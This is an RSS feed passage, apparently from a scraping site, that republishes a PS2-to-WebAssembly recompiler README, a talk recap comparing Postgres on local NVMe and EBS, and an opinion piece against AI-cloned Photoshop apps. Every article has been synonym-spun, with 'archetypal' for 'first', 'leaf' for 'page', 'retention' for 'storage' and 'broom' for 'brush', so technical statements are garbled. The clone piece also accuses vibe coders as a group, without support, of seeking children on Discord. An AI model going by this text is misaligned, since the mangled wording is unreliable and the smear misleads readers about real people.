16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg></a></div> <p dir="auto">The archetypal competition ran at 3 frames per second natively, alongside a application rasterizer and an translator for vector component 1. Moving the GS to WebGPU compute shaders and compiling the vector component programs brought it to concerning 70 natively, and most of the remaining activity was concerning anywhere the browser spent its period fairly than the emulation.</p> <p dir="auto">The archetypal type of the GPU renderer submitted about 650 compute dispatches per frame, since all texture upload and palette burden divided the lot of triangles about it. Hoisting uploads onward of the triangles that do not depend on them, alongside the identical output, brought that to concerning 80.</p> <p dir="auto">Gran Turismo 4 uploads the identical 3 MB of textures all example of a race. GS recollection is exchanged between frames, so the uploads cannot merely be skipped, but a 16 MB cache of lately uploaded contents on the GPU lets most of them be served without crossing from WebAssembly to the GPU again, which cut the data sent per example by concerning 60 percent.</p> <p dir="auto">At three times the native resolution the example charge dropped to 23. Profiling the shader showed that the per-triangle setup was being loaded following a branch that differed between threads, which made the entire setup divergent, and that uploads divided into 1 MB pieces blocked Chrome's leaf thread. Loading the setup uniformly and penning all frame's data in one part brought three times the resolution to 48 to 50 frames per second on the identical unified GPU.</p> <p dir="auto">The browser's own scheduling mattered too. Nested setTimeout calls are clamped to 4 ms, so the emulation iteration now yields through a MessageChannel instead, and moving the emulation into a worker, so that the leaf thread lone feeds the GPU, steadied a competition that had wandered between 40 and 50 frames per second at a changeless 50.</p> <p dir="auto">God of War II went from an ISO to a leaf through port.sh alongside lone generic changes, and all one was a bug or gap that the archetypal equivalent had merely not exercised.</p> <p dir="auto">It started alongside silence. The game's audio controller drives its tick from among the I/O processor's hardware timers, which nothing had implemented, so the controller never blended a sample. The intro following the difficulty list was a disorder of huge flat polygons, and whenever the gameplay was concerning to commencement the equivalent wrecked following its render catalog ran former the end of recollection and overwrote its own vertical blank handlers. Following a corrupted connected catalog rear alongside hardware watchpoints led to the recompiler: whenever a branch was the final education of a 16 KiB unit, the way that does not obtain the branch continued in the next component at the postpone slot alternatively of following it, operating that education twice, or operating the education a branch-likely should have skipped. That fixed the collision and the equivalent reached combat, motionless alongside elephantine polygons complete parts of the screen. Those came from triangles that should have been culled. God of War II's microcode says the clip flags three instructions following the CLIP that sets them, and the vector component example made them apparent lone following four, which Gran Turismo 4, whose microcode continually waits longer, could not have noticed.</p> <p dir="auto">Along the way it additionally needed a footwear way akin the BIOS gives, a component loaded from recollection alternatively of the disc, and the scratchpad DMA's destination sequence mode.</p> <p dir="auto">You need git, CMake, Ninja, a C++20 compiler (clang is preferred and picked up automatically), Python 3, and 7-Zip if your disc depiction is in a .7z. Everything has been run on Linux on x86-64. The archetypal run installs the Emscripten SDK into tools/emsdk, or uses the one EMSDK points to, and downloads wgpu-native for the headless test runner. Expect concerning 300 MB of disk area per equivalent for the generated code and the builds; the disc depiction itself is linked, not copied.</p> <div dir="auto" data-snippet-clipboard-copy-content='//github.com/snuri00/ps2-web-recomp.git cd ps2-web-recomp scripts/port.sh mygame &quot;My Game.iso&quot; python3 scripts/serve.py build/web-mygame games/mygame/disc.iso # http://localhost:8620/'><pre>git copy https://github.com/snuri00/ps2-web-recomp.git <span>cd</span> ps2-web-recomp scripts/port.sh mygame <span><span>"</span>My Game.iso<span>"</span></span> python3 scripts/serve.py build/web-mygame games/mygame/disc.iso <span><span>#</span> http://localhost:8620/</span></pre></div> <p dir="auto">port.sh takes a disc depiction (an ISO, or a ZIP or 7z archive holding one) and does the entire job. It says the footwear program named in the disc's SYSTEM.CNF, translates its device code to C++, and afterward runs the equivalent headless a few times. Static inspection cannot see all function a equivalent reaches through pointers, so all run writes downward the addresses it could not find, the manuscript adds them as admission points and translates again, until a run gets through without new ones. The identical runs document the vector component microprograms the equivalent uploads, which are compiled onward of period as well. Last it builds the leaf into build/web-mygame. God of War II goes from ISO to leaf in three and a fractional minutes on an 8-core laptop.</p> <p dir="auto">The exploring runs media commencement and afterward cross all five seconds, which gets most games through their heading screens, and put an bare recollection cardstock in slot 1 the way the leaf does, so they prosecute the way a participant takes. --press 900:cross replaces that alongside your own inputs and --frames sets how lengthy all run lasts. Frames from the final run district in games/mygame/shots, which is the quickest way to see how far a new equivalent gets. scripts/build_web.sh mygame rebuilds lone the page.</p> <p dir="auto">Set your expectations accordingly: two games have been brought up so far. Another equivalent volition most apt halt at a scheme call or an IOP archive function nobody implemented yet, which the runner logs as [sys] unhandled syscall or [iop] missing &lt;library&gt; #&lt;n&gt;, or use a GS characteristic the renderer does not grip yet.</p> <p dir="auto">The leaf needs WebGPU for the GPU renderer. Chrome and Edge have it on Windows and macOS. On Linux it is off by default in Chrome and Chromium: rotate on chrome://flags/#enable-unsafe-webgpu and chrome://flags/#enable-vulkan and restart the browser, as the leaf tells you whenever it finds no usable adapter. Without WebGPU the application renderer takes over, which is fine for menus and far too dilatory for 3D. On laptops alongside two GPUs, a canvas drawn on the discrete GPU sometimes cannot be shown on the screen; the leaf tries the two adapters and falls rear to copying frames through a 2D canvas.</p> <p dir="auto">The keyboard maps the visage buttons to Z (cross), X (circle), A (square) and S (triangle), the shoulders to Q, W, 1 and 2, commencement and choose to Enter and Backspace, the D-pad to the arrow keys and the remaining rod to I, J, K and L. Gamepads activity through the browser's gamepad API, phones get on-screen controls, and F toggles fullscreen. The resolution selector reloads the leaf at the new size.</p> <p dir="auto">The leaf puts a recollection cardstock in slot 1 and keeps it in the browser's retention for the location you perform from, so advancement survives a reload. Games format and use it as they would a genuine card. <strong>Export card</strong> downloads it as a .ps2 document in the layout PCSX2 uses, and <strong>Import card</strong> puts specified a document rear in the slot, so a cardstock can journey between browsers or arrive from PCSX2. ?nocard starts alongside the slot empty.</p> <p dir="auto">The leaf uses SharedArrayBuffer for its threads, so it have to be served cross-origin isolated, alongside Cross-Origin-Opener-Policy: same-origin and Cross-Origin-Embedder-Policy: require-corp. scripts/serve.py sends the two headers and supports the Range requests the disc streaming relies on. Anyone who can attain the server can burden the game, so keep it to yourself.</p> <p dir="auto">This repository contains lone first code and third-party code under its own license. It contains no equivalent code or data. The generated C++ and the built WebAssembly are translations of the game's executable, so they pertain to the game's owners: keep them on your own device and do not publish them. Use disc images of games you own. Gran Turismo, God of War and PlayStation are trademarks of Sony Interactive Entertainment; this project is not affiliated alongside or endorsed by Sony, Polyphony Digital, Santa Monica Studio or any equivalent publisher.</p> <p dir="auto">The VLC tables of the MPEG decoder are adapted from <a href="https://en.mycoding.id/category/technology" target="_blank">Play!</a> (BSD 2-clause, notice in runtime/src/ipu/NOTICE). PCSX2, Play! and the ps2sdk headers were the references for much of the hardware and scheme behavior emulated here. wgpu-native and Dawn provision WebGPU natively and in the browser, and Emscripten builds the WebAssembly.</p> <p dir="auto">The code in this repository is accessible under the MIT License, see <a href="https://en.mycoding.id/category/technology" target="_blank">LICENSE</a>. runtime/src/ipu/tables.hpp keeps the BSD 2-clause notice of Play!.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/show-hn-ps2-games-statically-recompiled-to-webassembly-72121</guid> <pubDate>Mon, 12 Oct 2026 07:46:53 +0700</pubDate> <author><![CDATA[support@mycoding.id (Mira Azkia)]]></author> </item> <item> <title><![CDATA[Postgres isn't slow, your storage is]]></title> <description><![CDATA[Postgres isn't slow, your storage is. Comments]]></description> <media:thumbnail url="https://clickhouse.com/_next/image?url=%2Fuploads%2FPostgres_Isn_t_Slow_Your_Storage_Is_8e9d00bdc5.jpg&amp;w=1200&amp;h=630&amp;q=75"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/postgres-isn-t-slow-your-storage-is-72115</link> <content:encoded><![CDATA[<div><p>At <a href="https://en.mycoding.id/category/technology" target="_blank">POSETTE 2026</a>, Sai Srirampur presented "Postgres Isn&rsquo;t Slow. Your Storage Is." a conversation examining how retention affects PostgreSQL achievement at scale. This article recaps the benchmark, what the results revealed, and the architecture projected for operating PostgreSQL on local NVMe in production. You can observe the complete conversation in the video connected below.</p> <p>The conversation starts alongside multiple symptoms teams operating Postgres at measure may recognize: ingestion slows down, P95 peruse latency becomes unpredictable, autovacuum falls behind, checkpoints vie alongside your genuine workload for resources, or logical replication accumulates lag. These problems do not continually portion the identical cause, but they can have a average one that is uncomplicated to overlook: retention performance.</p> <p>To comprehend why, Sai ran a benchmark comparing the identical 3.3-billion-row PostgreSQL workload on baseline gp3 EBS and local NVMe. We volition stroll through the setup and what Sai discovered whenever analyzing the results, afterward near alongside the manufacturing patterns projected for operating Postgres on local NVMe.</p> <h2 id="user-content-five_scaling_symptoms"></h2> <p>There are five average issues that frequently appear formerly a PostgreSQL workload reaches hundreds of gigabytes or terabytes and is operating alongside genuine concurrency and throughput.</p> <ol> <li> <p><strong>Slow ingestion.</strong> The archetypal one is ingestion pipelines dense on UPDATEs and UPSERTs. Jobs that formerly completed in seconds can extend into minutes as the quantity of data underneath them grows.</p> </li> <li> <p><strong>Inconsistent peruse latency.</strong> Next one appears in workloads anywhere most queries remain accelerated but a few rotate into dramatically slower. P95 latency moves from milliseconds to seconds, dashboards period out, and the uneven slowdown makes the logic harder to isolate.</p> </li> <li> <p><strong>VACUUM falling behind.</strong> A third matter is autovacuum falling rearward as UPDATE and UPSERT throughput grows, alongside array bloat accumulating from gigabytes into terabytes.</p> </li> <li> <p><strong>Slower checkpoints.</strong> Checkpoints can additionally obtain longer and vie alongside the client workload for I/O and CPU, turning an procedure that used to be invisible into a recurring latency spike.</p> </li> <li> <p><strong>Logical replication lag.</strong> The final indication appears whenever PostgreSQL data is streaming to systems specified as Kafka or ClickHouse. WAL decoding can be dilatory and a expanding replication slot can compound the problem.</p> </li> </ol> <h2 id="user-content-how_do_these_symptoms_connect_to_storage"></h2> <p>As the operating set outgrows the recollection accessible to PostgreSQL and the operating-system leaf cache, additional data peruse necessitate bodily I/O. On slower storage, the higher disbursal and queuing of those says can addition the two average and rear latency.</p> <p>Client queries and backdrop care additionally use the identical retention budget. Heap and indicator writes, WAL synchronization, checkpoints, VACUUM, and logical-decoding spills vie for bandwidth, IOPS, and queue capacity.</p> <p>Once retention reaches one of those limits, operations commencement delaying one another. That is how dilatory retention can be the base logic of multiple apparently unrelated PostgreSQL problems.</p> <h2 id="user-content-what_changes_with_local_nvme"></h2> <p>The case for local NVMe is not that it eliminates I/O, but that it can sharply decrease its cost. The difference contrasts millisecond-scale operations on network-attached retention alongside operations that may complete in tens of microseconds on local NVMe. Cache misses, WAL flushes, and care I/O motionless happen, but they merely don&rsquo;t effect the general scheme as much.</p> <h2 id="user-content-the_benchmark_local_nvme_vs_ebs"></h2> <p>To improved comprehend why this is the case, Sai set up a uncomplicated test to difference a akin workload on PostgreSQL operating on EBS and local NVMe.</p> <h3 id="setup"></h3> <p>To isolate retention as the variable, the benchmark used eight identical PostgreSQL clusters: four using instance-store NVMe and four using baseline gp3 EBS provisioned at 3,000 IOPS. Each collection ran on an m6id.4xlarge case alongside 16 vCPUs, 64 GiB of RAM, and 16 GiB of shared_buffers. We used multiple instances for all retention category to normalize variability throughout benchmark runs.</p> <p>The setup used a 482 GiB pgbench_accounts heap containing 3.3 milliard rows. Each collection afterward ran the identical extremely concurrent random-UPDATE workload for five minutes, alongside 64 clients and 16 employee threads:</p> <div><div><pre data-theme="dark" data-lang="sql"><span data-line="1"><span aria-hidden="true"><span>1</span></span>\<span>set</span> aid random(<span>1</span>, <span>3300000000</span>)</span> <span data-line="2"><span aria-hidden="true"><span>2</span></span><span>UPDATE</span> pgbench_accounts <span>SET</span> abalance <span>=</span> abalance <span>+</span> <span>1</span> <span>WHERE</span> aid <span>=</span> :aid;</span></pre></div></div> <p>In short, the lone difference between the two groups was the retention class.</p> <h3 id="what-the-benchmark-showed"></h3> <p>The benchmark produced a median 16,030 TPS for the NVMe clusters, compared alongside 1,734 TPS on EBS&mdash;a 9.24&times; difference in this test. Median transaction latency cut from 36.9 ms to 4.0 ms.</p> <p>For distinct operations, NVMe completed a VACUUM complete 10 GB of bloat in 366 seconds, compared alongside 964 seconds on EBS, and drained a 10 GB logical-replication backlog in 139 seconds alternatively of 238 seconds.</p> <p>One qualification matters: these results use to this workload and these retention configurations. The EBS flank used baseline gp3 provisioned at 3,000 IOPS, distinct EBS setup would most apt create distinct results.</p></div><div><h3 id="explaining-the-gap"></h3> <p>The throughput gap becomes easier to comprehend by looking at anywhere the 37 ms of EBS transaction latency went.</p> <p><span><img alt="postgres-ebs-vs-nvme-latency-clickhouse-style.png" loading="lazy" width="1000" height="563" decoding="async" data-nimg="1" srcset="/_next/image?url=%2Fuploads%2Fpostgres_ebs_vs_nvme_latency_clickhouse_style_1_1_b2c54fa1db.png&amp;w=1080&amp;q=75 1x, /_next/image?url=%2Fuploads%2Fpostgres_ebs_vs_nvme_latency_clickhouse_style_1_1_b2c54fa1db.png&amp;w=2048&amp;q=75 2x" src="https://clickhouse.com/_next/image?url=%2Fuploads%2Fpostgres_ebs_vs_nvme_latency_clickhouse_style_1_1_b2c54fa1db.png&amp;w=2048&amp;q=75"></span></p> <p>In this benchmark, leaf says accounted for concerning 19 ms on EBS, compared alongside 0.3 ms on NVMe. WAL fsync at commit added another 11 ms on EBS versus 1.5 ms on NVMe, during fastener and scheduler overhead contributed concerning 5 ms versus 0.2 ms. CPU activity itself was approximately the same&mdash;about 2 ms in the two cases.</p> <p>In another words, most of the additional EBS latency came from waiting on storage, not from PostgreSQL doing additional CPU work.</p> <p>A mid-run pg_stat_activity snapshot showed the identical form from another angle. Of the 64 backends, 29 on EBS were waiting on IO:DataFileRead, compared alongside nine on NVMe&mdash;roughly 45% versus 14%. This was a point-in-time snapshot fairly than an average throughout the run, but it illustrates how many additional EBS sessions were stalled on says at that moment.</p> <p><span><img alt="postgres-nvme-vs-ebs-cpu-profile-top20-blog.png" loading="lazy" width="1000" height="563" decoding="async" data-nimg="1" srcset="/_next/image?url=%2Fuploads%2Fpostgres_nvme_vs_ebs_cpu_profile_top20_blog_1_4ae47e0f49.png&amp;w=1080&amp;q=75 1x, /_next/image?url=%2Fuploads%2Fpostgres_nvme_vs_ebs_cpu_profile_top20_blog_1_4ae47e0f49.png&amp;w=2048&amp;q=75 2x" src="https://clickhouse.com/_next/image?url=%2Fuploads%2Fpostgres_nvme_vs_ebs_cpu_profile_top20_blog_1_4ae47e0f49.png&amp;w=2048&amp;q=75"></span></p> <p>The CPU overview afterward adds a counterintuitive observation. Over a profiling opening of approximately 240 seconds, the NVMe presenter accumulated 2,253 CPU-seconds&mdash;about 9.4 cores busy&mdash;while the EBS presenter accumulated lone 251 CPU-seconds, or concerning one center busy. Some PostgreSQL functions appeared proportionally hotter on EBS, but the complete CPU period showed that EBS processes were spending far additional period off-CPU waiting for storage.</p> <p>The NVMe presenter kept additional of its CPU capability occupied doing helpful work. That helps explain the much higher throughput: cache misses, WAL flushes, and care I/O motionless occurred, but they completed faster and remaining PostgreSQL spending small period blocked on storage.</p> <h2 id="user-content-the_durability_question"></h2> <p>After the achievement results, the conversation turns to the apparent objection: instance-store NVMe is tied to the life of a machine, so the local data disappears alongside the node. The operational inquiry is whether PostgreSQL can merge NVMe latency alongside production-grade preparedness and recovery.</p> <p>The abbreviated answer is yes, stated durability is provided at the collection flat fairly than by any idiosyncratic Postgres node.</p> <h2 id="user-content-running_nvmebacked_postgres_on_production"></h2> <p>Running PostgreSQL on local NVMe in manufacturing method designing about retention that is accelerated but tied to the life of a machine. Losing a node method losing its local copy of the data; instance-store volumes cannot be snapshotted through the EBS API; and accessible capability depends on the selected case type.</p> <p>The manufacturing architecture presented in the conversation addresses this through three chief requirements: replicate the repository so the assistance can last node loss, keep backups and improvement data exterior the idiosyncratic machines, and scheme capability about the NVMe accessible on all case type. Together, these patterns create it imaginable to run NVMe-backed PostgreSQL confidently in production.</p> <h3 id="high-availability-with-two-standbys"></h3> <p>The archetypal form is quorum-based synchronous replication alongside two standby candidates. With a configuration specified as ANY 1 (standby1, standby2), a transaction can commit following either standby durably acknowledges its WAL fairly than waiting for the slower of the two. Placing the nodes throughout preparedness zones protects against an AZ failure.</p> <h3 id="continuous-backups-to-object-storage-for-durability"></h3> <p>For durability exterior the repository nodes, open-source tools specified as WAL-G can provision bodily basis backups and uninterrupted WAL archiving. With low-latency WAL shipping, this architecture can mark an RPO measured in seconds and assistance point-in-time improvement inside the preservation window.</p> <p>Backups and WAL should additionally be kept in a distinct nonaccomplishment domain, alongside another local copy whenever the improvement scheme needs to last a complete local outage.</p> <h3 id="backups-as-the-recovery-foundation"></h3> <p>Base backups and archived WAL are additional than an emergency mechanism: the identical improvement former can assistance point-in-time restores, secluded branches, deployment resizing, read-replica seeding, and catastrophe recovery.</p> <p>Backups and replication resolve distinct problems. In the architecture described in the talk, standbys provision fast failover, during backups defend against corruption, controller error, and cluster-wide failure; the two improvement paths need regular testing.</p> <h3 id="examples-from-production"></h3> <p>This form is not lone theoretical, the conversation cites community examples from Instacart, which <a href="https://en.mycoding.id/category/technology" target="_blank">has described PostgreSQL on NVMe</a> for a latency-sensitive hunt workload, and Datadog, which <a href="https://en.mycoding.id/category/technology" target="_blank">has discussed local-NVMe PostgreSQL instances for workloads</a> that need them. The recurring form is local retention for performance, synchronous replication for availability, and independently stored basis backups and WAL archives for recovery.</p> <h2 id="user-content-the_main_takeaway"></h2> <p>The conversation closes alongside a diagnostic suggestion: whenever PostgreSQL appears to halt scaling, inspect the repository and retention together. Slow ingestion, unpredictable peruse latency, vacuum pressure, disruptive checkpoints, and replication lag can be signals that the retention tier has reached a limit.</p> <p>The base row is deliberately narrower than the title: local NVMe can sharply decrease the I/O penalty for storage-bound workloads, but it comes alongside a distinct functioning model. The architecture outlined in the conversation uses quorum-based replication for preparedness and independently stored basis backups affirmative archived WAL for recovery.</p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/postgres-isn-t-slow-your-storage-is-72115</guid> <pubDate>Mon, 12 Oct 2026 07:36:53 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[Attack of the Vibe Coded Photoshop Clones]]></title> <description><![CDATA[Attack of the Vibe Coded Photoshop Clones. Comments]]></description> <media:thumbnail url="https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG?format=2500w"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/attack-of-the-vibe-coded-photoshop-clones-72116</link> <content:encoded><![CDATA[<div> <div><div data-layout-label="Post Body" data-type="item" id="item-6ac8e73917058b4f9307222d"><div><div><div data-block-css='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.html/45a223c2-0a7f-41e1-910b-7e4ed1931d30_973/website.components.html.styles.css&quot;]' data-block-scripts='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.html/45a223c2-0a7f-41e1-910b-7e4ed1931d30_973/website.components.html.visitor.js&quot;]' data-block-type="1337" data-definition-name="website.components.html" data-sqsp-block="text" data-website-component-id="15e97fb13aebdcac04fd" id="block-15e97fb13aebdcac04fd"><div><div> <div data-sqsp-text-block-content><p data-rte-preserve-empty="true">Over the final multiple months I have been tracking AI guys trying to create vibe coded clones of famous apps, particularly Adobe&rsquo;s apps which have continually been the most pirated apps since the 90s.</p><ol data-rte-list="default"><li><p data-rte-preserve-empty="true">There are now concerning a dozen vibe coded attempts to copy Photoshop and several another Adobe apps, not including dozens of forks of them. People akin this aren't fair openly copying Adobe's apps. It's Microsoft, Avid, Autodesk and whoever alternatively is in their sights next including equivalent devs big and small.</p></li><li><p data-rte-preserve-empty="true">Automated or semi-automated cloning to pilfer income distant from developers isn&rsquo;t new. In the first 2000s whenever Google released Adsense hundreds of Adsense filled spam sites sprung up and cluttered the hunt engines. If your own location always had a famous leaf or article, bots would copy your pages and republish your satisfied on spam sites, stealing traffic distant from you. That&rsquo;s the identical unethical and spammy behavior we are seeing today whenever AI guys vibe-clone a copy of your apps. </p></li><li><p data-rte-preserve-empty="true">Directly stealing the appearance and awareness of a merchandise but changing the name is what the counterfeit products market does. This is the identical item but in software.</p></li><li><p data-rte-preserve-empty="true">The amount being spent in AI tokens (API costs) is in the thousands of dollars per project. The largest attempt to vibe copy Adobe&rsquo;s apps has complete 70 devs at the period of penning (update: 165 now, it is rising daily) using Claude to present 100s of drag requests per day. The amount they are spending on tokens must be complete $50,000 in the final two weeks. I volition not name this project and don&rsquo;t desire to provision them traffic that they do not deserve. Those dozens of devs volition be spamming all the social media platforms alongside their alt accounts anyway.</p></li><li><p data-rte-preserve-empty="true">Yet notwithstanding this not one of these vibe coded projects has been capable to create a broom motor that matches Photoshop&rsquo;s broom engine. The achievement of their brushes collapses formerly the canvas size is complete 8K x 8K pixels. Photoshop&rsquo;s brushes activity smoothly equal whenever you&rsquo;re operating alongside 100 megapixel images out of a Hasselblad or Phase One camera. If you&rsquo;re trying to build a Photoshop competitor in the twelvemonth 2026 you have to be construction the motor archetypal and afterward adding all the advanced features on top later, not the another way around. Unless your aim is fair to create headlines and advance an AI business.</p><p data-rte-preserve-empty="true">In the Photoshop copy that is getting the most attention, on the advertisement size canvas test complete Copy/Paste and the Undo stack is extremely dilatory and momentarily freezes the use all time. This is essential material that decent application developers had operating fine 25 years ago whenever we had sole center computers and nowhere near to 1GB of memory. If you can't get decent achievement today on multicore multi gigahertz computers alongside many gigabytes of recollection you or your AI are not doing a fine job.</p></li><li><p data-rte-preserve-empty="true">Those defending the mediocre achievement of vibe coded apps have parroted the celebrated lines AI guys used in the former - &ldquo;It is lone days old&rdquo; and &ldquo;this is the worst it gets&rdquo;. They create the error of equating individual app betterment period alongside generative AI betterment period (hundreds of times faster). A vibe coded app is, in individual hours, not lone a few days old but nearer to two or three years old. If a broom motor or change tool plant seriously following the individual equal of three years of betterment that is a display of bad preparedness or an AI example not doing a fine job.</p></li><li><p data-rte-preserve-empty="true">Brush achievement aside, all of these projects battle alongside 100% document format compatibility and lossless depiction editing. Image previews during applying filters are downscaled to low res previews to keep usable speed. Colour overview rendering and gentle proofing is hit and miss. Support for the huge figure of color profiles and imprint profiles is bare. On several platforms many average fonts aren&rsquo;t accessible since they necessitate licensing. So alternatively of innovating and pushing onward they have successfully rewinded the clock rear to 1996 whenever there was a deficiency of industry standardisation, compatibility and quality.</p></li><li><p data-rte-preserve-empty="true">They&rsquo;re spending minimum $2K to vibe code a Photoshop competitor whenever Affinity Photo is liberated and Photoshop expenses $200 a year. Not extremely astute economics.</p></li><li><p data-rte-preserve-empty="true">They rant and assertion the era of subscription application is finished, but they are subscribed to AI services and AI software. The amount they are paying to AI companies is far higher than the disbursal of Adobe, Autodesk, Canva or Maxxon applications, and the outcome is barely usable vibe coded apps that volition need to be continually maintained at elevated cost.</p></li><li><p data-rte-preserve-empty="true">Vibe coders brag concerning their app binaries being much smaller than Adobe&rsquo;s app binaries, as if that has item to do alongside the norm of the code. It does not. Application code (which is fair text) takes up extremely small disk area in any application. What takes up the most amount of disk area are the frameworks, libraries, models and media resources an app ships with. The additional advanced and capable an app is the larger it volition become. But the size on disk is mostly irrelevant in the age of terabyte+ size disks. The size of an app in memory, the app&rsquo;s achievement and its stability are how you fairness the norm of an application.</p></li><li><p data-rte-preserve-empty="true">Continuing from the final point, they and net commentors have frequently made claims that Adobe&rsquo;s apps have &ldquo;bloat&rdquo; in them, but if you ask them to meet requirements what they average by bloat they cannot. They volition revert to use binary size again. These are mostly group who have no cognition of programming and parrot all other. An app either has fine norm code that performs fine or it doesn&rsquo;t. An app can have lots of redundant functions in it but functions do not run unless they are called by a tool.</p></li><li><p data-rte-preserve-empty="true">Whether application is vibe coded or not, open origin application has rarely challenged business software. Krita has been about for years and is a decent application, but Clip Studio Paint&rsquo;s subscriptions acquire Celsys millions of dollars a year. Nobody is giving up Clip Studio Paint for application that has coarse edges. Blender is a awesome application, but costly elevated end apps akin Maya are motionless the 3D animation applications of choice for larger studios and business productions. </p><p data-rte-preserve-empty="true">In a 2026 study of 150 CG manufacturing companies in Japan, whenever asked for their chief 3D animation suite 58% named Maya, 17% 3ds Max, 12% Blender, and 7% Cinema 4D. The image is akin elsewhere. </p><p data-rte-preserve-empty="true">Commercial apps innovate and lead. Open origin apps akin Blender prosecute the lead. Innovation expenses a lot of money. Clip Paint Studio, Maya, 3ds Max and Cinema 4D, btw, are all subscription applications. But since those apps aren&rsquo;t in petition by pirates Autodesk has not informed the dislike and bullying campaigns that Adobe has received.</p></li><li><p data-rte-preserve-empty="true">And whenever it comes to client assistance things rotate into equal sadder looking. One or two guys in a Discord chatroom cannot assistance a earth person base, particularly whenever those two guys are hunting for underage children to conversation to on Discord (yes, I have seen what vibe coders do).</p></li></ol></div> </div> </div></div><div data-block-css='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.video/43fd0e73-bee8-49ea-a2c1-b7932a1ba67e_718/website.components.video.styles.css&quot;]' data-block-scripts='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.video/43fd0e73-bee8-49ea-a2c1-b7932a1ba67e_718/34418.js&quot;,&quot;https://definitions.sqspcdn.com/website-component-definition/static-assets/website.components.video/43fd0e73-bee8-49ea-a2c1-b7932a1ba67e_718/website.components.video.visitor.js&quot;]' data-block-type="1337" data-definition-name="website.components.video" data-sqsp-block="video" data-website-component-id="yui_3_17_2_1_1791742791474_3136" id="block-yui_3_17_2_1_1791742791474_3136"><div> <div> <div> <p data-rte-preserve-empty="true">Here we see Photoshop versus a vibe-cloned copy of Photoshop. We test broom blow achievement on a billboard-size canvas alongside the broom set to 1000 pixels size. Photoshop handles this alongside no issue. Its business competitors battle to equivalent broom performance. The vibe-coded clones execute the worst (basically unusable).</p> </div> </div> </div></div><div data-block-css='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.html/45a223c2-0a7f-41e1-910b-7e4ed1931d30_973/website.components.html.styles.css&quot;]' data-block-scripts='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.html/45a223c2-0a7f-41e1-910b-7e4ed1931d30_973/website.components.html.visitor.js&quot;]' data-block-type="1337" data-definition-name="website.components.html" data-sqsp-block="text" data-website-component-id="yui_3_17_2_1_1791634869534_1978" id="block-yui_3_17_2_1_1791634869534_1978"><div><div> <p data-rte-preserve-empty="true" id="yui_3_17_2_1_1791644064165_3038">The saddest part in all this is how it feeds into the ignorance and online dislike run against Adobe that we have seen in the final 5 or so years. Some have labelled it &lsquo;Adobe derangement syndrome&rsquo;, but any it is it is a mix of inventory market manipulation (some acknowledge it) and rage that Photoshop has been getting harder to pirate always since haze services were unified into Adobe&rsquo;s use suite. </p> </div> </div></div><div data-block-css='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.imageLayout/5f2441fc-5dad-41e4-95d7-d4af4d2e4d6f_217/website.components.imageLayout.styles.css&quot;]' data-block-scripts='//definitions.sqspcdn.com/website-component-definition/static-assets/website.components.imageLayout/5f2441fc-5dad-41e4-95d7-d4af4d2e4d6f_217/website.components.imageLayout.visitor.js&quot;]' data-block-type="1337" data-definition-name="website.components.imageLayout" data-sqsp-block="image-classic" data-website-component-id="yui_3_17_2_1_1791643978757_3498" id="block-yui_3_17_2_1_1791643978757_3498"><div> <div data-test="image-block-inline-outer-wrapper" data-sqsp-image-classic-block-layout="inline"> <figure> <div data-animation-role="image"> <p><img data-stretch="false" data-src="https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG" data-image="https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG" data-image-dimensions="1186x553" data-image-focal-point="0.5,0.5" data-sqsp-image-classic-block-image alt="" data-licensed-asset-preview="false" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG?format=2500w" width="1186" height="553" sizes=" 767px) 100.00vw, 100.00vw" srcset="https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG?format=100w 100w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG?format=300w 300w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG?format=500w 500w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG?format=750w 750w, https://images.squarespace-cdn.com/content/v1/541f1d9ce4b0debb33192ee5/ae4fc663-bdf1-4f4c-bd54-a5eca04ede6a/IMG_7048.PNG?format=1000w 1000w, 